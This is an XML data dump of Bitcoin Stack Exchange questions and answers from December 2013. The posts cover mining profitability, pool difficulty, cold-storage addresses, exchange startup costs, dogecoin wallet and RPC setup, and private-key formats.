  <row Id="19115" PostTypeId="1" AcceptedAnswerId="19268" CreationDate="2013-12-20T16:35:51.617" Score="1" ViewCount="1446" Body="&lt;p&gt;I was considering purchasing the &lt;a href=&quot;https://products.butterflylabs.com/homepage-new-products/300-gh-bitcoin-mining-card.html&quot; rel=&quot;nofollow&quot;&gt;Monarch BPU 300 C&lt;/a&gt; or the &lt;a href=&quot;https://products.butterflylabs.com/homepage-new-products/600-gh-bitcoin-mining-card.html&quot; rel=&quot;nofollow&quot;&gt;600 C&lt;/a&gt;.  However, neither of them are expected to ship before February of 2014 or later.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If &lt;a href=&quot;http://bitcoinwisdom.com/bitcoin/calculator&quot; rel=&quot;nofollow&quot;&gt;this calculator&lt;/a&gt; is to be trusted, it doesn't seem like one could ever earn back the cost of either of these units, especially if &lt;a href=&quot;http://bitcoindifficulty.com/&quot; rel=&quot;nofollow&quot;&gt;this difficulty graph&lt;/a&gt; is accurate.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;According to said calculator, the 600 model would leave you $2000 short after 6 months at a purchase price of $4680.  Also, the cheaper 300 model would leave you about $1450 short after 6 months after a purchase price of $2800.  And those figures are assuming you start using the product in mid-February.  If Butterfly labs are late on shipping the cards, and you start in March... forget about it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm fairly new to the Bitcoin game, so can someone tell me if I'm wrong about this?  Is it actually wise to purchase either of these cards?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit - The short answer is NO, especially for SHA-256 currencies.  I spent about $1000 on a 50 GH/s miner.  It generated about $30 per week in gross profit, but the net profit was less due to pool fees.  Also, my electric bill rose by $100 per month.  Luckily, I was able to find someone to buy the miner from me on ebay for CLOSE to what I paid for it.&lt;/p&gt;&#xA;" OwnerUserId="11146" LastEditorUserId="2306" LastEditDate="2017-04-25T19:59:37.087" LastActivityDate="2017-04-25T19:59:37.087" Title="Is it cost-effective to purchase an expensive card?" Tags="|mining-profitability|mining-hardware|investing|butterfly-labs|" AnswerCount="2" CommentCount="0" ClosedDate="2013-12-31T01:07:01.270" ContentLicense="CC BY-SA 3.0" />
  <row Id="19116" PostTypeId="1" AcceptedAnswerId="19128" CreationDate="2013-12-20T16:58:43.877" Score="2" ViewCount="180" Body="&lt;p&gt;I understand that addresses do not have to connect to the bitcoin network/blockchain in order to be valid addresses, but I am mainly wondering about what can be seen in the blockchain if that address has never connected to the network.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So given this scenario&lt;/p&gt;&#xA;&#xA;&lt;p&gt;AddressA sends 1 bitcoin to cold AddressB.  AddressB has never been online.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There will be a transaction id for this. But what would a site like blockchain.info show for the balance of AddressB?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Would it still be able to aggregate all of the transaction that go to AddressB to show a balance for AddressB?&lt;/p&gt;&#xA;" OwnerUserId="3047" LastActivityDate="2013-12-20T22:09:46.690" Title="address that has never been online, will transactions in blockchain still balance?" Tags="|transactions|blockchain|blockchain.info|network|address-generation|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19117" PostTypeId="1" AcceptedAnswerId="19119" CreationDate="2013-12-20T17:24:21.853" Score="3" ViewCount="12336" Body="&lt;p&gt;I've seen pools recommend higher difficulties for higher-speed hardware - what's the benefit (for either the pool or the miner) in doing so?&lt;/p&gt;&#xA;" OwnerUserId="11150" LastEditorUserId="5406" LastEditDate="2016-04-25T21:09:56.477" LastActivityDate="2016-04-25T21:09:56.477" Title="What's the advantage to requesting a higher difficulty when mining?" Tags="|mining-pools|miner-configuration|difficulty|mining-pool-shares|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="19118" PostTypeId="2" ParentId="13890" CreationDate="2013-12-20T17:31:03.370" Score="0" Body="&lt;p&gt;I don't think world population at large will reject a money system with an O(n) cost for transferring money instead of an O(1) simply because the cost is not constant - they do will should such O(n) be lower than O(1) for the most common transfer sizes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I compare this to the operating systems' schedulers. For years, the Holy Grail was to develop an O(1) scheduler, and in fact some schedulers with such behaviour were created. And then, Con Kolivas came and demonstrated it was actually possible to create a very simple O(n) scheduler that regularly outbeated the O(1) for the usage case he cared about (end-user desktop computing in systems with low amount of cores).&lt;/p&gt;&#xA;" OwnerUserId="4748" LastActivityDate="2013-12-20T17:31:03.370" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19119" PostTypeId="2" ParentId="19117" CreationDate="2013-12-20T17:39:09.923" Score="6" Body="&lt;p&gt;The higher difficulty means you will be reporting results less frequently to the pool.  This reduces network load on both your system and the pool.  It also reduces the restart delay for your mining hardware as it prepares for the next work unit.  Most pools base the rewards on the number of difficulty 2 shares accepted.  So they increase the reward based on the mining difficulty.  If you had four shares accepted at difficulty 4, you would be credited with the reward for 8 shares.  Similarly, four shares at difficulty 8 would yield a reward for 16 shares.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So it is to your benefit to set the difficulty high enough to reduce the network and mining delays but not so high that you get a lot of stale shares.  Some pools (such as BTC Guild) will automatically adjust the difficulty based on your hash rate.&lt;/p&gt;&#xA;" OwnerUserId="9301" LastActivityDate="2013-12-20T17:39:09.923" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="19120" PostTypeId="2" ParentId="19116" CreationDate="2013-12-20T17:43:37.697" Score="0" Body="&lt;p&gt;You do not need to be online to receive coins since nothing is stored in your wallet other than your private keys.  All transactions are stored in the blockchain.  However, you will need to go online in order to spend the coins since you will need to create a transaction to send the coins from AddressB to AddressC.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is how cold storage wallets work.  They are never online until you need to spend the coins.&lt;/p&gt;&#xA;" OwnerUserId="9301" LastActivityDate="2013-12-20T17:43:37.697" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19122" PostTypeId="1" CreationDate="2013-12-20T18:42:43.663" Score="2" ViewCount="675" Body="&lt;p&gt;I have two laptops cranking hashes for pooled mining. My Mac is set up correctly, and I see the (yay!!!) messages pretty often from the minerd.exe output. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, the PC I have cranking never seems to get the (yay!!!) message. It keeps on doing hashes and then receiving the &quot;Longpoll detected new block&quot; message. I even downloaded the Litecoin-Qt wallet, let it synchronize with the system, and placed the Minerd and mining_proxy EXE files next to the Litecoin-Qt in hopes that it would be able to access the longest chain due to the effort of the Litecoin wallet's synching. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I followed the steps for a PC in &lt;em&gt;&lt;a href=&quot;http://cryptocur.com/litecoin/litecoin-mining/&quot; rel=&quot;nofollow&quot;&gt;Litecoin LTC mining guide, CPU&lt;/a&gt;&lt;/em&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I make it work?&lt;/p&gt;&#xA;" OwnerUserId="11152" LastEditorUserId="1405" LastEditDate="2014-01-02T09:25:59.697" LastActivityDate="2014-07-01T20:51:00.810" Title="Miner seems to be stuck at receiving new blocks" Tags="|mining-pools|litecoin|synchronization|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="19123" PostTypeId="5" CreationDate="2013-12-20T19:21:56.013" Score="0" Body="" OwnerUserId="-1" LastEditorUserId="-1" LastEditDate="2013-12-20T19:21:56.013" LastActivityDate="2013-12-20T19:21:56.013" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19124" PostTypeId="4" CreationDate="2013-12-20T19:21:56.013" Score="0" Body="One of the bigger Bitcoin exchanges, the administration of which is Russian." OwnerUserId="1560" LastEditorUserId="1560" LastEditDate="2013-12-20T22:39:30.637" LastActivityDate="2013-12-20T22:39:30.637" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19126" PostTypeId="2" ParentId="19116" CreationDate="2013-12-20T21:57:37.340" Score="1" Body="&lt;p&gt;Here's how I've been explaining it lately:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When you first generate a public/private keypair offline (or &quot;cold&quot;), obviously the blockchain knows nothing about it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, the first time someone (usually you) sends Bitcoin to your public key, the blockchain adds a column in its record-keeping ledger for your public key &lt;em&gt;forever&lt;/em&gt;, and continues to track its balance, also &lt;em&gt;forever&lt;/em&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The purpose of your private key is simply to prove that you have permission to send coins away from that address. It's a certificate of ownership, it says, &quot;I made that public key, and here's my proof.&quot; You keep it secret because if someone else gets a copy of your certificate of ownership, they can spend your coins without restriction.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does that make sense (or answer your question?)&lt;/p&gt;&#xA;" OwnerUserId="3171" LastActivityDate="2013-12-20T21:57:37.340" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19127" PostTypeId="2" ParentId="18993" CreationDate="2013-12-20T22:00:16.240" Score="7" Body="&lt;p&gt;That would be absolutely possible. In fact, there is a cryptocurrency out there called &quot;Hashdollar&quot; which is trying just that. I didn't look into it yet but if you tie the value of the Hashdollar to the US Dollar, you could use the p2p network to make &quot;real&quot; dollar transaction. The problem here is though, who will guarantee for the value of the Hashdollar? The value of Bitcoin is mostly made by market mechanisms but if you tie the value of a crypto currency to the dollar, you would need to have some authority to guarantee for that value and I do not see that happening. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Of course the feds could just come up with their own version of a cryptocurrency (eDollar?) and this might actually happen very soon.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hashdollar: &lt;a href=&quot;https://bitcointalk.org/index.php?topic=368237.20&quot; rel=&quot;nofollow&quot;&gt;https://bitcointalk.org/index.php?topic=368237.20&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="4679" LastEditorUserId="4679" LastEditDate="2013-12-29T20:35:11.520" LastActivityDate="2013-12-29T20:35:11.520" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19128" PostTypeId="2" ParentId="19116" CreationDate="2013-12-20T22:09:46.690" Score="2" Body="&lt;p&gt;There is no &quot;being online&quot; concept of an address in bitcoin. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;An analogy would be to think of bitcoin addresses as if they were an email addresses. You can send to that address whenever you want and only the person with the secret key will have access to the contents of it. It doesn't matter if they are 'online' or not.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So to answer your question, when you first generate an address only you will know about it (unless of course you share it somehow).&#xA;As soon as you or someone else sends bitcoins to that address it will be present in the blockchain as part of a transaction&lt;/p&gt;&#xA;" OwnerUserId="8966" LastActivityDate="2013-12-20T22:09:46.690" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19129" PostTypeId="2" ParentId="19083" CreationDate="2013-12-20T22:58:26.033" Score="3" Body="&lt;p&gt;The dependency goes as follows:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;The difficulty depends on the total hashing power. As the hashing power goes up, so does the difficulty. This is intended to keep the block generation rate roughly constant at about one block every ten minutes.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;As the total hashing power goes up, so does the amount of hashing power needed to accomplish a 51% attack. The total hashing power is the thing you need to accumulate 51% &lt;em&gt;of&lt;/em&gt;.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;So there is a direct relationship, but it's because they're both directly tied to total hashing power.&lt;/p&gt;&#xA;" OwnerUserId="85" LastActivityDate="2013-12-20T22:58:26.033" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19130" PostTypeId="1" CreationDate="2013-12-20T23:17:46.977" Score="3" ViewCount="6473" Body="&lt;p&gt;For anyone who has done the math on opening their own bitcoin exchange, how much capital do you need to start an exchange, of course excluding the obvious variables like marketing budget, setup and legal fees? and where the money would go? for example, buy reserve bitcoins (if needed), infrastructure..etc&#xA;Thanks.&lt;/p&gt;&#xA;" OwnerUserId="10950" LastEditorUserId="10950" LastEditDate="2013-12-20T23:34:22.417" LastActivityDate="2013-12-22T03:29:45.420" Title="how much is the initial capital needed to start a bitcoin exchange?" Tags="|exchanges|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19131" PostTypeId="2" ParentId="18962" CreationDate="2013-12-20T23:30:20.213" Score="3" Body="&lt;p&gt;It will never be accurate unless you know the preferred exchange for your user, because as you can see the prices are different for each exchange.&#xA;Go to this website &lt;a href=&quot;http://bitcoin-analytics.com&quot; rel=&quot;nofollow&quot;&gt;http://bitcoin-analytics.com&lt;/a&gt;, and click on &quot;Arbitrage&quot;, you will see the difference in exchange rates from multiple sources.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Your best bet is to ask the user to choose their exchange or if they have a preferred one, and use their API, which means you'll need to use multiple APIs for most popular exchanges, like mtgox.com, bitstamp.net, btc-e.com..etc, I would also consider which geographical area you are targeting, it would help you identify who are the ones you need to have.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Good luck.&lt;/p&gt;&#xA;" OwnerUserId="10950" LastEditorUserId="10950" LastEditDate="2013-12-22T14:21:21.493" LastActivityDate="2013-12-22T14:21:21.493" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19132" PostTypeId="2" ParentId="11822" CreationDate="2013-12-21T00:10:32.350" Score="0" Body="&lt;p&gt;Because it will be easier to mine for the average joe. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are other innovations also. If you didn't know the Litecoin network can handle more transactions than the Bitcoin network.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You don't know that much about Litecoin. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't see why Bitcoin should have a monopoly over the &quot;alternate currency market&quot;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;You missed the point. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Botnets can still mine for Bitcoins or they can actually dominate Bitcoin mining. They could have dominated in the past. Just because some guys know how to put a few parts together and have some programming skills that doesn't mean their computers can't get infected with a well designed botnet. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you didn't know most of the Bitcoins are in the hands of less than 1000 people. Those rich guys could manipulate the system. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is why you need Litecoins and other alternative cryptocurrencies. It was clear that this could happen from the moment Bitcoin was designed. This would also go against what Bitcon was made for....a free market. This is why Bitcoin was open sourced. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Satoshi Nakamoto deserves money. If he would cash in his Bitcoins I wouldn't hold anything against him. &lt;/p&gt;&#xA;" OwnerUserId="9970" LastActivityDate="2013-12-21T00:10:32.350" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19133" PostTypeId="2" ParentId="19130" CreationDate="2013-12-21T00:26:41.927" Score="4" Body="&lt;p&gt;I thought about this a while ago.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What you need is:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;A website with&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Good security&lt;/li&gt;&#xA;&lt;li&gt;A Order matching engine backend&lt;/li&gt;&#xA;&lt;li&gt;A BitCoin send and receive engine&lt;/li&gt;&#xA;&lt;li&gt;A way of processing normal money funds&#xA;&lt;ul&gt;&#xA;&lt;li&gt;A merchent or escroe account @ a bank&lt;/li&gt;&#xA;&lt;li&gt;Batch file processing code&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;li&gt;A scalable infrastructure (hosting)&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;li&gt;Customers (people have to know your exist)&lt;/li&gt;&#xA;&lt;li&gt;Some form of support (moderated forum, someone to answer where is my money emails)&lt;/li&gt;&#xA;&lt;li&gt;Legal advice&lt;/li&gt;&#xA;&lt;li&gt;Legal liability limited company&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;You don't actually need any money in reserve to operate the exchange.&#xA;In fact you trading account (the one holding your customers money) should only every hold your customers money. You should have a separate account which you move fees into (and pay you bills from) Same goes for your BTC (LTC etc) wallets*.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To do other wise it would look like you are gaming the system (not a good look).&#xA;If you wanted you could create a separate entity to act as a &lt;a href=&quot;http://en.wikipedia.org/wiki/Market_maker&quot; rel=&quot;nofollow&quot;&gt;Market Maker&lt;/a&gt; to increase the liquidity of your exchange. But that should be run by a different person/board.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;&lt;strong&gt;So basically the money you need is the amount to setup and run the site  (including legal fees insurance, office space etc etc.) But you should not need any money/coins to run the site (over that which you are not holding on behalf of your customers)&lt;/em&gt;&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;*Once you have a reasonable amount of funds under management, you should have several operating accounts/ wallets. One for putting fees into/paying bills, one for day to day churn (the amount coming in will balance the money/coins going out most of the time) and one for cold storage, i.e, an off line wallet that can be accesses if need be, but a hacker can't drain from the live site.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;**This is just my thoughts not legal advice, etc, etc, blar, blar.&lt;/p&gt;&#xA;" OwnerUserId="7052" LastEditorUserId="7052" LastEditDate="2013-12-22T03:29:45.420" LastActivityDate="2013-12-22T03:29:45.420" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19136" PostTypeId="2" ParentId="10680" CreationDate="2013-12-21T01:31:55.737" Score="1" Body="&lt;p&gt;the transaction has inputs and outputs. the inputs describe the previous bitcoins being spent in this transaction and the outputs describe the address(es) to send these bitcoins to. you can view transactions for any block using blockexplorer.com. for example, &lt;a href=&quot;http://blockexplorer.com/b/728&quot; rel=&quot;nofollow&quot;&gt;here is the simplified data for block 728&lt;/a&gt;, and &lt;a href=&quot;http://blockexplorer.com/rawblock/00000000d14f2e97678951ad004d6699babd27e07ca722c46b30dc24c67eed7a&quot; rel=&quot;nofollow&quot;&gt;here is the data for this same block converted from the blockchain into json format&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;for a good explanation of what each of these elements inside the transaction means, i recommend &lt;a href=&quot;http://www.michaelnielsen.org/ddi/how-the-bitcoin-protocol-actually-works/&quot; rel=&quot;nofollow&quot;&gt;this article&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="2116" LastEditorUserId="2116" LastEditDate="2014-04-21T02:48:59.500" LastActivityDate="2014-04-21T02:48:59.500" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19138" PostTypeId="1" CreationDate="2013-12-21T05:58:35.390" Score="1" ViewCount="289" Body="&lt;p&gt;Sending bitcoin to My BTC-e account from CoinBase---I could send Bitcoin to my BTC-e wallet, but I forgot how to recover my BTC-e public address?  My mind is blank.  Duh!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Sending bitcoin to my Coinbase wallet? I can buy and sell bitcoin in BTC-e, but I want to send it to Coinbase. What is the procedure? I have done this, but again I have been playing with different wallets and I cannot think of how I did it! no help from support&lt;/p&gt;&#xA;" OwnerUserId="11173" LastActivityDate="2013-12-21T05:58:35.390" Title="Moving Bitcoin in and out of BTC-e" Tags="|transactions|wallet|btce|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19139" PostTypeId="1" AcceptedAnswerId="19244" CreationDate="2013-12-21T06:31:50.170" Score="1" ViewCount="2407" Body="&lt;p&gt;I'm trying to mine a genesis block for an experimental Peercoin clone.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've already written one using boost threads, and it's been really fun since this is the most processor intensive program I've ever written, but I'm only getting 1M hashes per second, so I'm guessing it's going to take about 72 minutes based assuming initial difficulty 1 and &lt;a href=&quot;https://en.bitcoin.it/wiki/Difficulty#How_soon_might_I_expect_to_generate_a_block.3F&quot; rel=&quot;nofollow&quot;&gt;this equation&lt;/a&gt; is correct.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a relatively simple way to send the functions to the GPU?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;All I'm doing so far is using a &quot;silent&quot; (returns &lt;code&gt;false&lt;/code&gt; instead of writing the error to &lt;code&gt;debug.log&lt;/code&gt;) &lt;code&gt;CheckBlock()&lt;/code&gt; to verify if the nonce is valid or not.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Please show me a simple library that can use the GPU to verify the nonces.&lt;/p&gt;&#xA;" OwnerDisplayName="user5107" LastEditorUserId="5406" LastEditorDisplayName="user5107" LastEditDate="2016-04-25T21:09:22.380" LastActivityDate="2016-04-25T21:09:22.380" Title="Simple GPU C++ mining" Tags="|gpu-mining|genesis-block|c++|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19140" PostTypeId="1" CreationDate="2013-12-21T08:05:38.897" Score="3" ViewCount="7212" Body="&lt;p&gt;I've looked at the dogecoin wiki, but don't see any resources explaining how to actually create a wallet and encrypt it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm running dogecoin-qt on Linux.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Under &quot;much receive&quot; on the GUI, I can add addresses.  But there's no option to encrypt which I see.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The &quot;wow&quot; tab says wallet, 0.000 doge (which I expect).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Where is the wallet info to read?  Is it encrypted?  How do I encrypt it?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can find the file itself well enough:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;thufir@dur:~/dogecoin$ &#xA;thufir@dur:~/dogecoin$ locate wallet.dat&#xA;/home/thufir/.dogecoin/wallet.dat&#xA;thufir@dur:~/dogecoin$ &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;but I'm trying to use the GUI.&lt;/p&gt;&#xA;" OwnerUserId="10651" LastActivityDate="2017-11-22T08:33:28.583" Title="how do I create and encrypt a dogecoin wallet?" Tags="|wallet|bitcoin-core|encryption|wallet.dat|dogecoin|" AnswerCount="2" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="19141" PostTypeId="1" CreationDate="2013-12-21T08:51:13.657" Score="2" ViewCount="8378" Body="&lt;p&gt;I have the dogecoin daemon running successfully on Ubuntu, started with this command:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;dogecoind -daemon&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It's listening on port 22556, as verified by netstat.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can also pass commands to it directly via the Ubuntu terminal, like so:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;dogecoind getinfo&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;However, passing RPC requests to it through HTTP does not work.  The daemon doesn't refuse the connection (and I can verify that it &lt;em&gt;does&lt;/em&gt; refuse the connection if I use a port other than 22556); instead, the connection hangs, with no data being sent to the client making the HTTP request.  Directly connecting to&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;http://a:b@127.0.0.1:22556/&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;makes the web browser sit and wait for data.  Similarly, making an RPC request via a PHP script, and then accessing that script in a browser, makes the browser wait for 30 second before PHP spits out an error stating that the maximum execution time of 30 seconds was exceeded.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have my ~/.dogecoin/dogecoin.conf file as such:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;server=1&#xA;rpcuser=a&#xA;rpcpassword=b&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;(I know the username and password I typed there are insecure; those are temporary until I can at least make a connection.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've tried adding the line &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;rpcallowip=127.0.0.1&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;to the end of the config file, but that didn't change the behavior at all.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What am I doing wrong -- why isn't my Dogecoin daemon accepting RPC requests (or any from-an-actual-browser HTTP requests, for that matter)?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;edit&lt;/strong&gt;: Also, I can verify that the daemon is caught up with the blockchain.&lt;/p&gt;&#xA;" OwnerUserId="11176" LastActivityDate="2014-01-27T08:37:05.687" Title="Dogecoin daemon (dogecoind) not responding to RPC requests" Tags="|daemon|dogecoin|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="19142" PostTypeId="1" CreationDate="2013-12-21T09:49:36.217" Score="5" ViewCount="347" Body="&lt;p&gt;In the bitcoin-qt client you can sign and verify messages using only the public address. Since the public address is a RIPEMD160 hash how is it possible that I can verify a signature since I do not have access to the public key?&lt;/p&gt;&#xA;" OwnerUserId="11179" LastEditorUserId="1307" LastEditDate="2014-02-20T00:28:29.767" LastActivityDate="2014-02-20T00:28:29.767" Title="How are &quot;message signatures&quot; verified without having access to the public key?" Tags="|public-key|signature|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19147" PostTypeId="1" AcceptedAnswerId="19158" CreationDate="2013-12-21T11:26:42.973" Score="2" ViewCount="1691" Body="&lt;p&gt;I want to print privatekey into block of steel, but I have only uppercase letters, so I wonder if privatekey is case sensitive?&lt;/p&gt;&#xA;" OwnerUserId="9029" LastActivityDate="2013-12-21T15:14:18.873" Title="Are privatekeys Case-sensitive?" Tags="|private-key|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19148" PostTypeId="2" ParentId="9917" CreationDate="2013-12-21T11:38:17.783" Score="2" Body="&lt;p&gt;I've also had the same issue whereby importing a private key using RPC Console &lt;em&gt;importprivkey&lt;/em&gt; will rescan and &lt;strong&gt;tag it with the time which the rescan takes place&lt;/strong&gt; in btc-qt. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Even Multibit which uses the following format for private key (*.key) files is only dated such that &lt;strong&gt;the date corresponds to what is assumed to be the key's creation date&lt;/strong&gt;:&#xA;Kwnononok7xQwSNIPSNIPSNIPSNIPssthcheckth1s 2013-09-18T09:42:28Z&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As mentioned, the Blockchain is not being consulted for transaction history - a major flaw IMO.&lt;/p&gt;&#xA;" OwnerUserId="9382" LastActivityDate="2013-12-21T11:38:17.783" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="19149" PostTypeId="1" CreationDate="2013-12-21T11:43:03.320" Score="1" ViewCount="161" Body="&lt;p&gt;So every private key actually has TWO associated addresses? (ie uncompressed and compressed)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Isn't this a MAJOR flaw if uncompressed keys are still used in applications? &lt;/p&gt;&#xA;" OwnerUserId="9382" LastActivityDate="2013-12-21T23:43:13.813" Title="So every private key actually has TWO associated addresses? (ie uncompressed and compressed)" Tags="|client|private-key|public-key|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19154" PostTypeId="1" CreationDate="2013-12-21T14:31:35.067" Score="0" ViewCount="70" Body="&lt;p&gt;How I feel this. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Every transaction, 1 address -&gt; 1 address, take a 0.0000 0001 BTC.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Attacker try to flood network with transactions. Presuppose, he have 1 BTC. Flood could looks like 1M of addresses. 1 000 000 * Fee( 0.0000 0001 ) = 0.01 BTC. Attacker could make 100 attacks with 1M addresses, thereafter he out of money.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Will network of bitcoin overloaded ? What a math behind current Fee?&lt;/p&gt;&#xA;" OwnerUserId="10274" LastActivityDate="2013-12-22T00:18:59.273" Title="Why is still Fee not a 1 Satothi?" Tags="|transaction-fees|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19155" PostTypeId="1" CreationDate="2013-12-21T14:52:38.657" Score="2" ViewCount="99" Body="&lt;p&gt;When I'm trying to send a &quot;VERSION&quot; message with my custom bitcoin client, I get:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Warning: Local node 127.0.0.1:56425 misbehaving (delta: 1)!&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;What does it mean? How do I know what exactly is wrong with my message?&lt;/p&gt;&#xA;" OwnerUserId="10692" LastEditorUserId="18196" LastEditDate="2015-01-15T21:46:14.863" LastActivityDate="2015-01-15T21:46:14.863" Title="Debug bitcoin protocol implementation" Tags="|bitcoin-core-development|banscore|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
